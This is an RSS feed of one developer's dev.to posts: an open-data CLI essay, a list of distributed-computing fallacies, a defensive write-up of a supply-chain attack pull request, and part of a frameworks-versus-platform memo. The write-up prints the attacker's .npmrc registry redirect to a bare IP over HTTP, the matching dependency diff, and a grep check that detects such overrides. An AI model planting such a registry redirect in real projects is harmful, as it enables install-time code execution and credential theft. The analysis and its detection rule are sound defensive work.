<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian Schürmann</title>
    <description>The latest articles on DEV Community by Sebastian Schürmann (@sebs).</description>
    <link>https://dev.to/sebs</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F20049%2Fdfdb5f55-23bd-4bc1-9605-bd548fc3b62d.jpeg</url>
      <title>DEV Community: Sebastian Schürmann</title>
      <link>https://dev.to/sebs</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sebs"/>
    <language>en</language>
    <item>
      <title>sudo 'schland just give me my data</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 06 Jul 2026 17:31:08 +0000</pubDate>
      <link>https://dev.to/sebs/sudo-schland-just-give-me-my-data-4ga7</link>
      <guid>https://dev.to/sebs/sudo-schland-just-give-me-my-data-4ga7</guid>
      <description>&lt;p&gt;There's an old xkcd. Guy says "make me a sandwich." Gets refused. Says "sudo make me a sandwich." Gets a sandwich.&lt;/p&gt;

&lt;p&gt;I've been running the same play, except the sandwich is public data and the reluctant party is the Federal Republic of Germany. The result is &lt;a href="https://github.com/maschinenlesbar-org" rel="noopener noreferrer"&gt;maschinenlesbar.org&lt;/a&gt;: Many TypeScript CLIs, one per open API the German state runs, all on npm, all built the same way. &lt;code&gt;sudo bundesrepublik --json&lt;/code&gt;, more or less. 25 is the current count. The plan is roughly a hundred.&lt;/p&gt;

&lt;h2&gt;
  
  
  The joke in the name
&lt;/h2&gt;

&lt;p&gt;"Maschinenlesbar" means machine-readable, and it's not a word I made up for branding. It appears &lt;em&gt;in German law&lt;/em&gt;. The E-Government-Gesetz obliges federal agencies to publish their data in machine-readable formats. A country that still confirms things by fax has a statute demanding machine-readability.&lt;/p&gt;

&lt;p&gt;And on paper, the agencies delivered. Live water levels for every federal waterway. The complete federal budget. Every registered lobbyist. Ambient gamma radiation from about 1,700 probes. Parliamentary proceedings going back decades. All behind REST endpoints, largely unauthenticated.&lt;/p&gt;

&lt;p&gt;So far, so good. Now try to &lt;em&gt;connect&lt;/em&gt; any of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The moat
&lt;/h2&gt;

&lt;p&gt;Here's the thesis, and it holds across every party and every legislative period: the core strategy of German open-data politics is the prevention of interoperability. The data is published — that box is checked. The data cannot be linked. That's the actual defense.&lt;/p&gt;

&lt;p&gt;Smart people have spent years trying to get one uniform interface over the &lt;em&gt;kleine Anfragen&lt;/em&gt; — the written parliamentary questions — across Germany's parliaments. Or the parliamentary documentation, sixteen states plus the Bundestag, in one format. LOL. There are X systems and every single one does things &lt;em&gt;slightly&lt;/em&gt; differently. Federalism is a fine idea for distributing power; here it moonlights as a technique for making sure data never meets other data. Nobody had to forbid anything. No shared identifiers, no common schemas, a different timestamp format per API, one endpoint speaking clean JSON and the next speaking WFS — an OGC standard older than the iPhone — and the job is done.&lt;/p&gt;

&lt;p&gt;And when passive fragmentation isn't enough, there's the active move: change a format, arbitrarily, and watch every downstream tool die. That trick has quietly killed civic-tech projects for two decades.&lt;/p&gt;

&lt;p&gt;Because the dangerous thing was never a single dataset. A lobbyist list is a phone book. A budget is a spreadsheet. It's the &lt;em&gt;join&lt;/em&gt; that produces accountability: this lobbyist, this committee, this budget line, this vote. Publish everything, link nothing, and you get transparency theater — technically open, practically opaque.&lt;/p&gt;

&lt;h2&gt;
  
  
  25 boring CLIs as a political act
&lt;/h2&gt;

&lt;p&gt;Which is why aggressive uniformity is the entire design. Every CLI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;installs the same way (&lt;code&gt;npm i -g &amp;lt;name&amp;gt;-cli&lt;/code&gt;, or just &lt;code&gt;npx&lt;/code&gt; it)&lt;/li&gt;
&lt;li&gt;emits JSON on stdout, errors on stderr, honest exit codes&lt;/li&gt;
&lt;li&gt;ships as a typed API client too, if you'd rather import than shell out&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Uniformity on the outside is interoperability retrofitted in userland. The state won't build the joins — fine, &lt;code&gt;jq&lt;/code&gt; and a pipe will.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"write programs that handle text streams, because that is a universal interface" &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Doug McIlroy's quote is fifty years old and turns out to double as civic infrastructure.&lt;/p&gt;

&lt;p&gt;There's also a speed asymmetry worth naming. The state ships one half-baked portal per geological epoch. An open-source tool, once it's out there, does five to ten iterations in the same window — and how that pace is sustained across a hundred repos is its own story, which I'll get to at the end. Suffice it for now: I'm genuinely curious whether the old sabotage strategies still work. My bet is no.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anti-journalism, in the friendliest possible way
&lt;/h2&gt;

&lt;p&gt;The other honest motivation, and I know how the word sounds: this is anti-journalism activism.&lt;/p&gt;

&lt;p&gt;Not anti-truth. Anti-middleman. The project started because I wanted to understand politics better and noticed the way to do it was to stop reading coverage and start reading sources — because something is deeply off in the land of print and online.&lt;/p&gt;

&lt;p&gt;If you've followed games journalism, you already know the mechanism. Embargo access, preview trips, review copies: cuddle with the subject of your reporting long enough and their viewpoints start seeping into the copy. Whoever wants access has to heel. Berlin political journalism runs the identical loop, just with ministries instead of publishers. Ask genuinely hard questions and you stop getting interview partners; stay harmless and you get the chancellor on your politics podcast — formats that have degraded into free airtime, retransmitting campaign promises without so much as a follow-up question.&lt;/p&gt;

&lt;p&gt;The business model completes the picture, and it's beautifully inverted: the comment section — the part engineered to split people, because division is engagement — is free. The actual reporting sits behind the paywall. Outrage as the loss leader, information as the premium tier. Meanwhile the 90-page committee document that the 400-word article summarizes sits in a public API, timestamped and complete, read by approximately nobody.&lt;/p&gt;

&lt;p&gt;Here's the sentence that will annoy everyone, so let me stand behind it: a language model reproduces mediocrity, at best. That happens to clear the bar for most of German political journalism. If your value-add over the primary source is a summary plus a framing, you are competing with &lt;code&gt;curl&lt;/code&gt; piped into a tin can — and losing on price, speed, and blood pressure.&lt;/p&gt;

&lt;p&gt;But replacement is the petty version of the goal. The real one is democratizing access. A normal citizen has neither the money to first train as a political scientist nor the decade for a traineeship just to work out what a law will actually do to them. The documents are public; the &lt;em&gt;literacy&lt;/em&gt; was gatekept. An agent with these CLIs closes that gap — and sometimes the entire barrier is language: rewrite a committee report in plain German, or in another language altogether, and a document that was technically public becomes actually accessible. Plenty of people can consume politics straight from the source once someone removes the provocative framing that only ever served somebody else's revenue. I'm fairly certain I'm not the only one who wants that.&lt;/p&gt;

&lt;p&gt;The manual version of this research already works and I've done it plenty: pull a member of parliament from the Bundestag's DIP system, enrich the picture at abgeordnetenwatch.de, then follow the person's pet topic down a FragDenStaat rabbit hole of freedom-of-information requests. Handwork, but it delivers — that route has genuinely surprised me more than once, and the surprises are the point. I go looking for my unknowns.&lt;/p&gt;

&lt;p&gt;Handwork, though? Maybe not for long.&lt;/p&gt;

&lt;h2&gt;
  
  
  The new Unix user has no hands
&lt;/h2&gt;

&lt;p&gt;Agentic systems — the new machine god, as I've taken to calling it, with more patience than a trainee news desk and better organization than the people officially in charge of "Digitalisierung" — are terminal natives. Give an agent a tool that takes flags and returns JSON with a predictable schema and it uses it correctly on the first try; it has seen ten million CLIs in training. The shell &lt;em&gt;is&lt;/em&gt; the integration layer. Every agent runtime on earth can execute a command; not every one speaks whatever protocol is fashionable this quarter. That's why it's CLI first, and why each repo ships agent skills alongside the binary — the CLI is the muscle, the skill is the manual.&lt;/p&gt;

&lt;p&gt;Now hand an agent all 25 manuals and describe the DIP → abgeordnetenwatch → FragDenStaat workflow. It runs the whole rabbit hole in minutes, in parallel, with citations. And notice: entity matching across inconsistently named datasets — the state's main anti-interoperability defense — happens to be something language models are freakishly good at. The moat was designed for humans with browsers. It was not designed for this.&lt;/p&gt;

&lt;p&gt;The traffic runs the other way too. These tin cans confabulate; producing plausible text is the whole job description, and a model will invent a river level or a committee vote without blinking. Feeding it primary data from calibrated government systems — a sensor bolted to a bridge, a document with an ID and a timestamp — is how you stop the machine from making things up. The APIs ground the model; the model joins the APIs. Fair trade.&lt;/p&gt;

&lt;p&gt;How you combine thetools is, as far as I'm concerned, a secret between you and your computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does one even end up here
&lt;/h2&gt;

&lt;p&gt;In a second repo sits a politics search engine that needs exactly this data for contextualization — a five-digit number of sources, collected since the RSS days. The engine has been through three eras that neatly mirror the last fifteen years of search itself: pure full-text before 2010, semantic search through 2020, and since 2025 both of those with a language model bolted on top. The CLIs are what that stack turned out to need: grounding. Fifteen-plus years of watching this ecosystem is where the interoperability thesis comes from; it's not a hot take, it's a scar.&lt;/p&gt;

&lt;h2&gt;
  
  
  The boring parts, on purpose
&lt;/h2&gt;

&lt;p&gt;Everything is AGPL. Every package ships an SBOM, because I've written enough about npm supply-chain attacks to refuse publishing anything opaque myself. Version numbers start at 0.0.x and mean it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The dark factory
&lt;/h2&gt;

&lt;p&gt;Which leaves the question of how sixteen of these exist already and a hundred are plausible without me giving up sleep, food, or my remaining goodwill. The answer is the part of the project I find most instructive: the CLIs come out of a dark factory.&lt;/p&gt;

&lt;p&gt;Manufacturing people know the term — lights-out production. FANUC has run plants in Japan where robots build robots for weeks at a stretch with the lights literally off, because nobody's in the building to need them. That, minus the sheet metal, is the production model here. There's a template repository that acts as the assembly line: project layout, flag conventions, test harness, CI, SBOM generation, npm publishing — the jigs and fixtures. A new government API enters at one end as raw material; agents read whatever passes for its documentation, probe the endpoints, generate the wrapper against the template, write the tests, write the agent skill, and a CLI comes out the other end, boxed and labeled like its fifteen siblings. When shared plumbing improves, the change propagates across every repo the same way — nobody hand-edits sixteen READMEs at 11 PM, because nobody hand-edits sixteen READMEs at all.&lt;/p&gt;

&lt;p&gt;My job in this factory is not on the line. It's the job humans keep in every lights-out plant: I define the product, I set the tolerances, and I stand at the quality gate reading diffs before anything ships. Exception handling, in both senses.&lt;/p&gt;

&lt;p&gt;Two consequences fall out of this, and they're the whole game. First, the marginal cost of wrapping one more government API is approaching the cost of caring about it — which is how "roughly a hundred" stops being bravado and becomes a backlog. Second, remember the state's favorite defense, the arbitrary format change? Against a hand-maintained scraper, lethal. Against a factory, it's a work order. The breakage lands in CI, an agent retools the line, I review the diff over coffee. The sabotage now costs the saboteur more than the target.&lt;/p&gt;




&lt;p&gt;*The project lives at &lt;a href="https://github.com/maschinenlesbar-org" rel="noopener noreferrer"&gt;github.com/maschinenlesbar-org&lt;/a&gt;, with running commentary at &lt;a href="https://bsky.app/profile/maschinenlesbar.bsky.social" rel="noopener noreferrer"&gt;@maschinenlesbar.bsky.social&lt;/a&gt;. *&lt;/p&gt;

</description>
      <category>opendata</category>
      <category>ai</category>
      <category>darkfactory</category>
    </item>
    <item>
      <title>Fallacies of distributed computing</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Wed, 01 Jul 2026 20:26:30 +0000</pubDate>
      <link>https://dev.to/sebs/fallacies-of-distributed-computing-41fb</link>
      <guid>https://dev.to/sebs/fallacies-of-distributed-computing-41fb</guid>
      <description>&lt;ul&gt;
&lt;li&gt;The network is reliable;&lt;/li&gt;
&lt;li&gt;Latency is zero;&lt;/li&gt;
&lt;li&gt;Bandwidth is infinite;&lt;/li&gt;
&lt;li&gt;The network is secure;&lt;/li&gt;
&lt;li&gt;Topology doesn't change;&lt;/li&gt;
&lt;li&gt;There is one administrator;&lt;/li&gt;
&lt;li&gt;Transport cost is zero;&lt;/li&gt;
&lt;li&gt;The network is homogeneous;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing" rel="noopener noreferrer"&gt;wp&lt;/a&gt;&lt;/p&gt;

</description>
      <category>computerscience</category>
      <category>distributedsystems</category>
      <category>networking</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>A Rogue Registry in My Own Backyard: Anatomy of a Two-Line Supply Chain Attack</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Sat, 27 Jun 2026 22:30:09 +0000</pubDate>
      <link>https://dev.to/sebs/a-rogue-registry-in-my-own-backyard-anatomy-of-a-two-line-supply-chain-attack-5b0h</link>
      <guid>https://dev.to/sebs/a-rogue-registry-in-my-own-backyard-anatomy-of-a-two-line-supply-chain-attack-5b0h</guid>
      <description>&lt;p&gt;The previous parts of this series were written from a comfortable distance. I read the Trend Micro diagrams about Shai-Hulud, I theorised about Docker network egress and rolling keys, and I lectured everyone about phishing training while quietly assuming it would happen to other people's repositories. The universe, being the comedian it is, decided to file a pull request against &lt;code&gt;sebs/etherscan-api&lt;/code&gt; to correct that assumption.&lt;/p&gt;

&lt;p&gt;This one is worth a writeup precisely because it is &lt;em&gt;small&lt;/em&gt;. No worm, no self-replicating bash, no 200-line obfuscated payload. Six lines added, three removed, across two files. If you reviewed it at 23:00 with one eye open, you would merge it. That is the whole point of it, and that is why it belongs in this series.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bait
&lt;/h2&gt;

&lt;p&gt;The PR arrived titled &lt;code&gt;refactor: replace manual multicall with ethers-multicall-utils&lt;/code&gt;. The description is a thing of beauty in the way that all good lies are tidy:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This PR integrates &lt;code&gt;ethers-multicall-utils&lt;/code&gt; to improve performance of multi-contract reads.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduces network latency&lt;/li&gt;
&lt;li&gt;Works with all EVM chains&lt;/li&gt;
&lt;li&gt;Zero dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read that again. It is fluent in the dialect of the modern PR. It has bullet points. It says "zero dependencies," which is the magic phrase that makes a security-minded maintainer relax their shoulders — the previous post in this series was literally me preaching about minimal package footprint, and here is a contributor seemingly speaking my language back to me. That is not a coincidence. The social engineering is calibrated for the target.&lt;/p&gt;

&lt;p&gt;The author account was not a five-minute-old burner either. Aged profile, hundreds of repos, an Arctic Code Vault badge, Pull Shark, a believable bio, a real-looking employer. Everything about the envelope says "competent open-source human." Everything in the envelope says otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual payload
&lt;/h2&gt;

&lt;p&gt;Here is the entire attack. First, a brand new &lt;code&gt;.npmrc&lt;/code&gt; appears in the repo root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://registry.npmjs.org/&lt;/span&gt;
&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="py"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;http://206.223.232.170:64389/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line is decoration. It points at the real npm registry and exists purely so the file looks reasonable to a skimming eye.&lt;/p&gt;

&lt;p&gt;The second line is the knife. The empty-scope syntax &lt;code&gt;:registry=&lt;/code&gt; sets the &lt;strong&gt;default&lt;/strong&gt; registry for everything that does not carry an explicit scope. So the net effect of those two lines together is: ignore the line above, and resolve packages from &lt;code&gt;http://206.223.232.170:64389/&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;Three things should set your hair on fire here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It is a &lt;strong&gt;bare IP address&lt;/strong&gt;, not a registry hostname. Legitimate registries have names. Names have TLS certificates. Names can be revoked. An IP on a high random port is somebody's box.&lt;/li&gt;
&lt;li&gt;It is &lt;strong&gt;plain &lt;code&gt;http://&lt;/code&gt;&lt;/strong&gt;. No TLS at all. Whoever controls the wire — or simply controls that host — controls every byte npm pulls down, and any token npm sends up during install.&lt;/li&gt;
&lt;li&gt;It overrides resolution for &lt;strong&gt;the entire install&lt;/strong&gt;, not just the one shiny new dependency. Every package your build fetches now potentially comes from the attacker.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second file change is &lt;code&gt;package.json&lt;/code&gt;, and it is the fig leaf that makes the &lt;code&gt;.npmrc&lt;/code&gt; look purposeful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;   "devDependencies": {
     "@types/node": "22.10.5",
     "typedoc": "0.28.19",
&lt;span class="gd"&gt;-    "typescript": "6.0.3"
&lt;/span&gt;&lt;span class="gi"&gt;+    "typescript": "6.0.3",
+    "ethers-multicall-utils": "^2.1.4"
&lt;/span&gt;   }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new dependency is added that — surprise — does not need to exist on the real npm registry, because the &lt;code&gt;.npmrc&lt;/code&gt; has already rerouted resolution to the attacker's server. They can serve whatever they like under that name: a package whose &lt;code&gt;postinstall&lt;/code&gt; script runs their code, or a trojaned copy of something you already trust. The &lt;code&gt;^2.1.4&lt;/code&gt; caret is a nice touch too — it pre-authorises any "newer" version they decide to push later.&lt;/p&gt;

&lt;p&gt;There was also a cosmetic edit re-escaping the &lt;code&gt;ü&lt;/code&gt; in my own name in the &lt;code&gt;author&lt;/code&gt; field. Pure diff noise, there to make the commit read like a tidy housekeeping pass. I have rarely felt so personally tidied.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is the dangerous kind
&lt;/h2&gt;

&lt;p&gt;The Shai-Hulud worm was loud. It propagated, it phoned home, it cloned private repos, and that noise is exactly what gets it caught and written up. This thing is the opposite design philosophy. It is quiet, it is two lines, and it weaponises &lt;em&gt;your own install command&lt;/em&gt;. You do not need to be tricked into running anything exotic. You run &lt;code&gt;npm install&lt;/code&gt;, the same way you have ten thousand times before, and the trap springs in your CI runner or on your laptop with your npm token sitting right there in the environment.&lt;/p&gt;

&lt;p&gt;The chain, end to end:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plausible "perf refactor" PR
        │
        ▼
package.json adds a dependency that only resolves...
        │
        ▼
...from the registry hardcoded in .npmrc
        │
        ▼
http://&amp;lt;attacker-ip&amp;gt;:&amp;lt;port&amp;gt; serves a malicious package
        │
        ▼
install-time code execution, token harvest, or worse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every link looks boring in isolation. That is the craft.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually saved this repo
&lt;/h2&gt;

&lt;p&gt;Nothing clever. The PR was reviewed by a human who looked at the files, not just the description, and asked the only question that matters when a PR touches install configuration: &lt;em&gt;why is there a registry line pointing at a random IP over HTTP?&lt;/em&gt; There is no benign answer to that question. The PR was closed unmerged.&lt;/p&gt;

&lt;p&gt;But "I happened to look" is not a control. Let us turn it into one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigations, in roughly the order I would bother
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Treat &lt;code&gt;.npmrc&lt;/code&gt; as a security-critical file.&lt;/strong&gt; It configures where your code &lt;em&gt;comes from&lt;/em&gt;. That is at least as sensitive as a CI workflow file, and in the previous post I argued the &lt;code&gt;actions/&lt;/code&gt; folder deserves CODEOWNERS and branch protection. &lt;code&gt;.npmrc&lt;/code&gt; deserves exactly the same paranoia. Put it behind CODEOWNERS so any change to it requires a human you trust.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Add a CI check that refuses hostile registry config.&lt;/strong&gt; A grep is enough to start. Fail the build if an &lt;code&gt;.npmrc&lt;/code&gt; anywhere in the tree points at a non-HTTPS registry or a bare IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fail if any .npmrc references a non-https or IP-based registry&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s1"&gt;'registry\s*=\s*https?://'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s1"&gt;'**/.npmrc'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
   | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s1"&gt;'=\s*https://([a-z0-9.-]+\.)?(npmjs\.org|your-private-registry\.example)/'&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Suspicious registry override detected in .npmrc"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tune the allowlist to your actual registries. The point is that &lt;em&gt;new&lt;/em&gt; registry endpoints become a deliberate, reviewed event rather than something that rides in on a refactor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pin and verify what you install.&lt;/strong&gt; A committed lockfile plus &lt;code&gt;npm ci&lt;/code&gt; (not &lt;code&gt;npm install&lt;/code&gt;) in CI means resolution follows the lockfile, and a foreign registry URL in there is glaring in review. &lt;code&gt;--ignore-scripts&lt;/code&gt; in CI where you can get away with it removes the install-time code execution primitive that most of these attacks ultimately rely on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build in a box with a short leash.&lt;/strong&gt; This is the same advice as part one, and this attack is a clean example of why it works: if your build container can only reach your known registry and nothing else, a redirect to &lt;code&gt;206.223.232.170:64389&lt;/code&gt; simply fails to connect. The exfiltration and the malicious fetch both die at the network boundary. DNS/egress allowlisting is not glamorous and it quietly defeats a whole category of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Review the diff, never the description.&lt;/strong&gt; The PR text is written by the attacker. It is marketing copy. The only ground truth is the files changed tab. If a "performance" or "dependency" PR touches &lt;code&gt;.npmrc&lt;/code&gt;, &lt;code&gt;package.json&lt;/code&gt; install config, lifecycle scripts, or a workflow file, the description becomes irrelevant and the change earns full scrutiny regardless of how friendly the bullet points were.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Assume the friendly account might not be its owner.&lt;/strong&gt; An aged profile with good badges is not a trust signal anymore; it is an &lt;em&gt;attack asset&lt;/em&gt;, because hijacked reputable accounts are precisely what makes a malicious PR slide through. "Assume breach" applies to your contributors' credentials, not just your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  The uncomfortable part
&lt;/h2&gt;

&lt;p&gt;I write a series about supply chain security and someone still walked a registry-hijack PR right up to my front door. That is not a failure of the series; that is the actual threat model. These attacks are cheap, automated, and sprayed across hundreds of repositories at once on the statistical certainty that &lt;em&gt;someone&lt;/em&gt; merges at 23:00 with one eye open. You do not have to be careless to get got. You just have to be tired once.&lt;/p&gt;

&lt;p&gt;So make the boring controls do the watching for you, because your attention is the resource the attacker is budgeting against.&lt;/p&gt;

&lt;p&gt;To misquote the same wise machine I closed part one with:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The only winning move is to not run &lt;code&gt;npm install&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>supplychain</category>
    </item>
    <item>
      <title>Frameworks Rot. The Platform Doesn't.</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Fri, 12 Jun 2026 18:46:48 +0000</pubDate>
      <link>https://dev.to/sebs/frameworks-rot-the-platform-doesnt-58g0</link>
      <guid>https://dev.to/sebs/frameworks-rot-the-platform-doesnt-58g0</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A decision memo for anyone staring at their &lt;code&gt;package.json&lt;/code&gt; and wondering.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most arguments for leaving your SPA framework center on the upgrade treadmill — the endless cycle of major-version migrations, dependency churn, and build-tool turnover. That argument is real but incomplete, and on its own it has never been decisive: every framework shop has learned to live with the treadmill. There's a stronger case, built on four pillars that compound with each other.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;total cost of ownership&lt;/strong&gt;: vanilla JavaScript on the web platform has unusual TCO properties, dominated by a depreciation curve that is nearly flat. Code written against the platform does not rot, because its substrate does not change. Over long horizons, this single property outweighs almost every per-feature productivity argument in a framework's favor.&lt;/p&gt;

&lt;p&gt;Second, &lt;strong&gt;the labor market&lt;/strong&gt;: the pool of people who can work on vanilla JavaScript is not a niche within the frontend market — it is the entire frontend market, plus most of the backend market. Every framework developer is, underneath, a JavaScript developer. The reverse is not true. If you hire for a specific framework, you're hiring from a subset while telling yourself you're hiring from the mainstream.&lt;/p&gt;

&lt;p&gt;Third, &lt;strong&gt;AI leverage&lt;/strong&gt;: engineers now produce a growing share of code with AI assistance, and the economics of that assistance differ sharply by target. The web platform is a small, stable, exhaustively documented body of knowledge; a framework ecosystem is a large, fast-mutating one whose training data is perpetually stale. AI coding tools are measurably more reliable on the former. As AI-assisted development becomes the dominant mode of production, the substrate that AI handles best becomes the cheaper substrate — and the gap widens every year the platform stays still while frameworks move.&lt;/p&gt;

&lt;p&gt;Fourth, &lt;strong&gt;architecture&lt;/strong&gt;: porting to Web Components is not a transliteration of the same design into different syntax. The platform pushes toward a genuinely different architecture — autonomous, message-passing components rather than a centrally reconciled tree — and that architecture has its own economic consequences, mostly favorable for a broad class of applications, which you should adopt deliberately rather than discover by accident.&lt;/p&gt;

&lt;p&gt;The recommendation, stated up front: if your application sits in the right quadrant — long-lived, stabilizing, forms-and-views rather than collaborative-canvas — migrate incrementally via the strangler pattern, and reject any big-bang rewrite. The rest of this post develops each pillar, the reasoning behind them, and the conditions under which the whole argument flips.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Tenets
&lt;/h2&gt;

&lt;p&gt;Before the pillars, the principles they rest on. If you disagree with a conclusion below, the disagreement is probably with one of these — and that's the productive place to have it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Optimize total cost of ownership over the application's full life, not development cost over the next quarter.&lt;/strong&gt; A foundation's depreciation rate matters more than its day-one ergonomics.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Measure labor pools at the skill floor, not the skill label.&lt;/strong&gt; The relevant question is not "how many React developers exist" but "how many people can become productive in this codebase in a month."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The cost of code is increasingly the cost of supervising AI that writes it.&lt;/strong&gt; Substrates should be chosen partly for how well machines generate, verify, and maintain code on them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architecture is an economic object.&lt;/strong&gt; Coupling structure determines change cost; choose the structure, don't inherit it from a library's render model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer two-way doors.&lt;/strong&gt; A migration plan must be pausable mid-flight while still having paid for itself.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  3. Pillar One: The TCO Curve of Platform-Native Code
&lt;/h2&gt;

&lt;p&gt;Most software cost models obsess over construction cost and treat the maintenance tail as a multiplier. For long-lived applications, this is backwards: the tail is the animal. Industry experience consistently puts lifetime maintenance at several multiples of initial development, and the &lt;em&gt;composition&lt;/em&gt; of that maintenance is what distinguishes substrates.&lt;/p&gt;

&lt;p&gt;Framework code carries three maintenance components: (a) changes you choose to make — features, fixes; (b) changes the substrate forces on you — version migrations, deprecations, dependency security churn, toolchain turnover; and (c) the eventual full rewrite, when the foundation's liability exceeds the asset's value. Platform-native code carries only (a). Component (b) approaches zero because browsers do not ship breaking changes to the DOM; the platform's backwards-compatibility record spans decades, and code written against Custom Elements and CSS custom properties in 2026 will run unmodified in 2040. Component (c) — the scheduled-but-undated rewrite — is eliminated outright, and it's the largest single line in any honest long-horizon model: the cost of your entire application, again, plus the behavioral archaeology of rediscovering a decade of micro-decisions nobody remembers making.&lt;/p&gt;

&lt;p&gt;The resulting picture is two depreciation curves. Framework code depreciates like a vehicle: it loses value continuously through ecosystem drift even when untouched, and requires periodic capital injections (major-version migrations) merely to retain function. Platform code depreciates like land with a building on it: the building — your features — needs upkeep proportional to how often &lt;em&gt;you&lt;/em&gt; change it, but the ground does not move. On a four-year horizon the curves barely separate, and the framework's day-one ergonomics win. On a ten-year horizon the flat curve dominates decisively, with the crossover arriving well before year eight even under assumptions generous to the framework.&lt;/p&gt;

&lt;p&gt;One honest cost on the vanilla side of the ledger: the platform lacks a built-in reactivity model, so any non-trivial app will carry a thin, standards-tracking layer — a few hundred lines of signals, or a micro-library like Lit. That's a maintenance liability you own. It's also bounded, inspectable, and sits on a substrate that doesn't move beneath it — a fundamentally different risk class from a framework's hundreds of thousands of lines on a quarterly release cadence.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Pillar Two: The Labor Pool Is Larger, Not Smaller
&lt;/h2&gt;

&lt;p&gt;The conventional objection runs: "the market is full of React developers; vanilla and Web Components are a niche; you'd be narrowing your hiring funnel." This inverts the actual structure of the market.&lt;/p&gt;

